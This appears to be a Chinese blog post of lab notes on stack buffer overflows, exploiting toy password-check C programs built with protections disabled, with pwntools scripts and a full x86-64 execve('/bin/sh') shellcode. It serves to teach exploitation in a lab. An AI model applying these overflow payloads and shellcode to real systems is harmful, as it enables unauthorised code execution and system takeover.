# 1.crackme

源码:

c
#include <stdio.h>
#define PASSWORD "1234567"
int verify_password(char *password)
{
        int authenticated;
        authenticated=strcmp(password,PASSWORD);
        strcpy(password,PASSWORD);
        return authenticated;
}
#include <stdio.h>
#define PASSWORD "1234567"
main(){
        int valid_flag=0;
        char password[8];
        while(1)
        {       printf("please input password:      ");
                scanf("%s",password);
                valid_flag=verify_password(password);
                if(valid_flag)
                 {    printf("incorrect password!\n\n");
                 } else
        {printf("Congratulation! You have passed the verification!\n");
                        break;
                                                        }
        }
}

【这里要知道 strcmp 返回值有三个,比较相等时返回 0】

编译成可执行程序 (这里关闭 piecanary ):

gcc -g -no-pie -fno-stack-protector crackme.c -o crackme

利用 ida64 打开

找到存放 passwd 的地方:

修改为 111

保存:

在 Ubuntu 下运行,可以看见修改成功:

# 2.overflow

源码:

c
#define PASSWORD "1234567"
int verify_password(char *password){
	int authenticated;
	char buffer[8];
	authenticated=strcmp(password,PASSWORD);
	strcpy(buffer,password);
	return authenticated;	
}
main(){
	int valid_flag=0;
	char password[1024];
	while(1){
		printf("please input password:      ");
		scanf("%s",password);
		valid_flag=verify_password(password);
		if(valid_flag){
			printf("incorrect password!\n\n");
		}else{
			printf("Congratulation! You have passed the verification!\n");
			break;
			}
		}
}

可以看到定义的 password 字符数组大小为 1024,而密码只有 7 字节,所以可以溢出

strcpy(buffer,password); 中 buffer 有 8 字节,所以我们可以输入多字节来溢出

利用 gcc 编译成二进制程序 ,这里选择关闭 canary

gcc -g -fno-stack-protector overflow.c -o overflow

可以看到除了 canary 都开启了

ida 查看

发现 dest (原 buffer) 在比 v3 ( 原 authenticated ) 的地址,所以可以通过溢出 dest 来覆盖 v3 的值,使返回值被我们控制

从下面可以看到输入 8(0xc-0x4)个字节后再输入的字节就会将 v3 给覆盖

将其覆盖为 0 后即可返回 0,然后可以输出 Congratulation!

如下图,由于我们输入的值是作为 ascii 码形式所以直接输入 0 并不会被将 v3 视为 null,实际上是将 v3 改为了 0x30(0 的 ascii 值)

不过输入字符串会以 \x00 结尾,所以输入 8 字节字符串也能进行覆盖

这里利用 python 脚本输入 \x00 来覆盖值,可以看到成功绕过

脚本如下:

n
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
p=process('./overflow')
p.send(b"aaaaaaaa"+b"\x00")
p.interactive()

# 3.overflow2

# 1.

源码:

c
#include <stdio.h>
#define PASSWORD "1234567"
int verify_password(char *password)
{
int authenticated;
char buffer[8];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);
return authenticated;	
}
main(){
	int valid_flag=0;
	char password[1024];
	FILE * fp;
	if(!(fp=fopen("password.txt","rw+"))){
		exit(0);
	}
	fscanf(fp,"%s",password);
	valid_flag=verify_password(password);
	if(valid_flag){		
	printf("incorrect password!\n\n");
	}else{			printf("Congratulation! You have passed the verification!\n");		
	}
	fclose(fp);
}

利用 gcc 编译:

gcc -g -no-pie -fno-stack-protector overflow2.c -o overflow2

通过源码知道需要一个 password.txt ,从这里得到密码然后进行验证,这里编译的时候将 pie 和 canary 都关闭了,不会影响我们进行栈溢出

利用 ida 打开:

从下面可以看到会将 password.txt 内的内容复制到 dest,而这里距离 rbp 为 0xc 字节,这里编译后是 64 位程序,所以 rbp 占 8 字节,填充 0xc+8 后到达 ret 的位置

下面的图里可以看到验证成功的地址为 0x4012c6 , 将 ret 覆盖为这个地址即可返回到这里

这里利用 010editor 以字节方式创建一个 password.txt

可以看到成功返回不过产生了错误,因为程序无法正确退出

# 2. 这里再改写一下代码,改为从键盘直接输入 password:

c
#include <stdio.h>
#define PASSWORD "1234567"
int verify_password(char *password)
{
int authenticated;
char buffer[8];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);
return authenticated;	
}
main(){
	int valid_flag=0;
	char password[1024];
	
	scanf("%s",password);//change
	
	
	valid_flag=verify_password(password);
	if(valid_flag){		
	printf("incorrect password!\n\n");
	}else{			printf("Congratulation! You have passed the verification!\n");		
	}
	
}

重新编译后要覆盖 ret 的地址变为了 0x401234

进行覆盖,看到成功返回到判断成功的地方:

覆盖 ret 为验证错误处:

脚本:

n
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p=process('./overflow2_1')
payload=b"a"*(0xc+8)+p64(0x401234) #地址为 0x401223 使返回到验证错误处
p.sendline(payload)
p.recv()
p.interactive()

# 4.overflow3

因为我这里时用 Linux 下 gcc 编译的,调用不了 windows.h ,所以这里改成输入可执行机器码来得到 shell 并与之交互

源码:

c
#include <stdio.h>
//#include <windows.h>
#define PASSWORD "1234567"
int verify_password(char *password)
{
int authenticated;
char buffer[44];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);
return authenticated;	
}
main(){
int valid_flag=0;
char password[1024];
FILE * fp;
//LoadLibrary("user32.dll");
if(!(fp=fopen("password.txt","rw+"))){
		exit(0);
}
fscanf(fp,"%s",password);
valid_flag=verify_password(password);
if(valid_flag){
	printf("incorrect password!\n\n");
}else{
	printf("Congratulation! You have passed the verification!\n");		
}
fclose(fp);
}

编译(这里默认是 64 位)

gcc -g -no-pie -fno-stack-protector -z execstack overflow3.c -o overflow3

这里因为 ASLR 的保护措施,会影响栈的地址,导致无法判断想要的返回地址是哪里,所以这里将 ASLR 的等级变为 0,并且因为有 NX(DEP)保护会使得我们栈上的机器代码无法执行,所以编译时关闭 NX 保护 -z execstack


可以看到这里保护措施基本都关闭了:

gdb 调试可以看到输入的字符串的地址被复制后在 0x7fffffffd9e0 ,也就是说这里是我们输入的 shellcode 的起始地址

接下来就是构造我们的可执行机器码(shellcode):

        push 0x68
        mov rax, 0x732f2f2f6e69622f #/bin//sh字符串
                      0x68732f2f6e69622f
        push rax #进栈
        mov rdi, rsp
        push 0x1010101 ^ 0x6873
        xor dword ptr [rsp], 0x1010101
        xor esi, esi #使esi的值为0
        push rsi #0进栈
        push 8  #rsp-8
        pop rsi #将栈顶的指向的地址内的"/bin/sh"放入rsi
        add rsi, rsp
        push rsi #sh\x00'
        mov rsi, rsp
        xor edx, edx #edx为0
        push 59  # 0x3b 系统调用号
        pop rax #系统调用号59放入rax(al)
        syscall   #进行系统调用

6a 42                  push   0x42 #B的ascii码
58                      pop    rax   #栈顶值0x42出栈赋值给rax
fe c4                   inc    ah    #ah+1,rax高位字节+1,相当于0x42+256=0x142
48 99                   cqo     #64位RAX扩展成128位  额外位保存到rdx
52                      push   rdx
48 bf 2f 62 69 6e 2f    movabs rdi, 0x68732f2f6e69622f #/bin/sh字符串
2f 73 68
57                      push   rdi  #字符串进栈
54                      push   rsp 
5e                      pop    rsi  #rsi保持/bin/sh
49 89 d0                mov    r8, rdx #0
49 89 d2                mov    r10, rdx #0
0f 05                   syscall     #进行系统调用 相当于执行 execve("/bin/sh",0,0)

系统调用号 0x3B (59)

#define __NR_execve 59 

64 位传参方式:将系统调用号存入 rax 寄存器中,然后从左到右依次将参数传入如 rdi、rsi、rdx 寄存器中,这里以系统调用的方式最后执行了 execve("/bin/sh",0,0) ,执行程序即可 getshell

对应的字节码为(0x1D 个字节):

0x6a, 0x42, 0x58, 0xfe, 0xc4, 0x48, 0x99, 0x52, 0x48, 0xbf,
0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x57, 0x54,
0x5e, 0x49, 0x89, 0xd0, 0x49, 0x89, 0xd2, 0x0f, 0x05

到 rbp 有 0x30 个字节距离,加上 rbp 的 8 字节后到达 ret

在 010editor 编辑加入可执行字节码,然后加上 0x13+8 字节任意数据一直覆盖 rbp,然后返回地址为输入的字节码起始地址 0x7fffffffd9e0

运行程序:

执行完发现可以进行交互,这里运行后 getshell 然后执行 whoami 得到当前用户身份:

此文章已被阅读次数:正在加载...更新于